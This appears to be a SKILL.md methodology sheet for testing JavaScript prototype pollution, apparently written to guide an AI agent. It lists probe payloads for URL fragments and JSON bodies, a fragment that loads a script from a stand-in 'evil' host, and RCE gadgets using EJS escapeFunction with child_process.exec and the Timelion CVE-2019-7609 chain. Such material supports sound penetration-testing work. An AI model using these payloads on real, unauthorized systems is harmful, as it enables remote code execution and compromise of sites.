SKILL.md
$27
#__proto__[xxx]=alert(1)
Server-side first probes(JSON / form)
{"__proto__":{"polluted":true}}
{"constructor":{"prototype":{"polluted":true}}}
After sending, check whether unrelated follow-up responses show abnormal headers/status/JSON spacing, or whether app logic reads Object.prototype.polluted (see §3 detection table).
Quick boolean
If target code uses lodash.merge, deep-extend, hoek.applyToDefaults, or some qs/query-string configurations, raise priority.
1. MECHANISM
Prototype chain: when accessing obj.key, if obj lacks own property key, lookup walks up [[Prototype]] until Object.prototype.
**__proto__**: many parsers treat literal key __proto__ as a magic path that attaches child properties to the prototype. Merging { "__proto__": { "x": 1 } } can be equivalent to Object.prototype.x = 1 depending on implementation and patch level.
**constructor.prototype**: constructor typically points to the object's constructor function; constructor.prototype is that constructor's prototype object. For plain objects this usually links to Object.prototype. Example path:
{"constructor":{"prototype":{"polluted":1}}}
This is not always equivalent to __proto__ (filtering, JSON parsing, Bun/Node differences), so test both paths.
Core issue: this is not just "one extra parameter"; in non-isolated merge logic, attacker-controlled keys point to prototype objects, giving global or shared template context malicious properties that later code reads normally, triggering gadgets.
2. CLIENT-SIDE DETECTION
URL fragment
https://app.example/page#__proto__[admin]=1
https://app.example/#__proto__[xxx]=alert(1)
If router or analytics code parses fragments into objects and then merges, pollution may occur.
constructor.prototype path
#constructor[prototype][role]=admin
DOM / attribute injection ideas
If the framework merges attribute names as object keys:
__proto__[src]=//evil/xss.js
Event-handler style keys (implementation-dependent):
__proto__[onerror]=alert(1)
Verification: open a fresh page without fragment and check in console whether test keys remain on Object.prototype; account for extension and DevTools interference.
3. SERVER-SIDE DETECTION (Express / Node, black-box)
The payloads below assume body/query is deeply parsed into objects by qs or similar parsers (possibly with body-parser). Observe global side effects, not only current endpoint return values.
Payload (JSON example)
Expected observable signal
{"__proto__":{"parameterLimit":1}}
Multi-parameter parsing in follow-up requests is ignored or abnormal (qs-style parameterLimit)
{"__proto__":{"ignoreQueryPrefix":true}}
Double-question-mark prefixes like ??foo=bar are accepted or behavior changes sharply
{"__proto__":{"allowDots":true}}
Nested keys like ?foo.bar=baz are expanded via dot notation
{"__proto__":{"json spaces":" "}}
JSON-serialized responses gain extra spaces (JSON.stringify spacing setting polluted)
{"__proto__":{"exposedHeaders":["foo"]}}
CORS responses include foo-related headers (if framework reads config from prototype)
{"__proto__":{"status":510}}
Some response status changes to 510 or another abnormal code (app reads status from object)
Operational tip: send pollution request first, then a clean request to observe persistence; connection pools and worker lifecycle affect whether impact is globally visible.
4. EXPLOITATION GADGETS
Target / scenario
Payload or pattern
Notes
EJS
{"__proto__":{"client":1,"escapeFunction":"JSON.stringify; process.mainModule.require('child_process').exec('COMMAND')"}}
If template engine options like escapeFunction are read from polluted prototype, this may lead to RCE; strongly version/config dependent
Timelion expression chain (CVE-2019-7609)
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("COMMAND")')
Historical chain: prototype pollution + timeline expression execution; useful to understand expression + PP combinations
**Node child_process**
Pollute shell, argv0, env, NODE_OPTIONS, etc. (merged into exec/fork option objects)
Depends on whether later code calls spawn/fork and reads options from prototype chain
Generic constructor path
{"constructor":{"prototype":{"foo":"bar"}}}
Bypasses weak validation that filters only the __proto__ key
Chain mindset: pollution -> dependency reads obj.settings.xxx without hasOwnProperty -> RCE / SSRF / path traversal.
5. TOOLS
Project
Purpose
yeswehack/pp-finder
Helps locate PP-prone merge points and patterns
yuske/silent-spring
Research and detection around prototype-pollution surfaces
yuske/server-side-prototype-pollution
Server-side PP testing suite/methodology
BlackFan/client-side-prototype-pollution
Browser-side PP cases and payloads
portswigger/server-side-prototype-pollution
Burp ecosystem extension / supporting material
msrkp/PPScan
Scanning/verification helper
Prioritize use on authorized targets; automated tools can cause side effects on stateful applications.
6. DECISION TREE
Input merged into nested object?
(query, JSON, GraphQL vars, YAML→JSON)
|
NO --------------+-------------- YES
| |
Other vuln class Parser allows __proto__ /
constructor.prototype keys?
|
NO --------------+-------------- YES
| |
Check unicode / Confirm global effect:
bypass of key names clean follow-up request
| |
+--------------+----------------+
|
v
Gadget present? (template, spawn, JSON.stringify opts, CORS)
|
NO ------------------+------------------ YES
| |
Report PP as DoS / Build minimal RCE or
logic impact high-impact PoC
| |
+---------------------+-------------------+
|
v
Client-side: fragment / DOM / third-party script
Server-side: qs/body-parser/lodash/deep-merge version audit
Related routing
- Input routing and multi-injection parallel entry -> Injection Testing Router.
- Template execution chains (non-PP) -> SSTI.
- Insecure deserialization (non-JS prototype) -> Deserialization.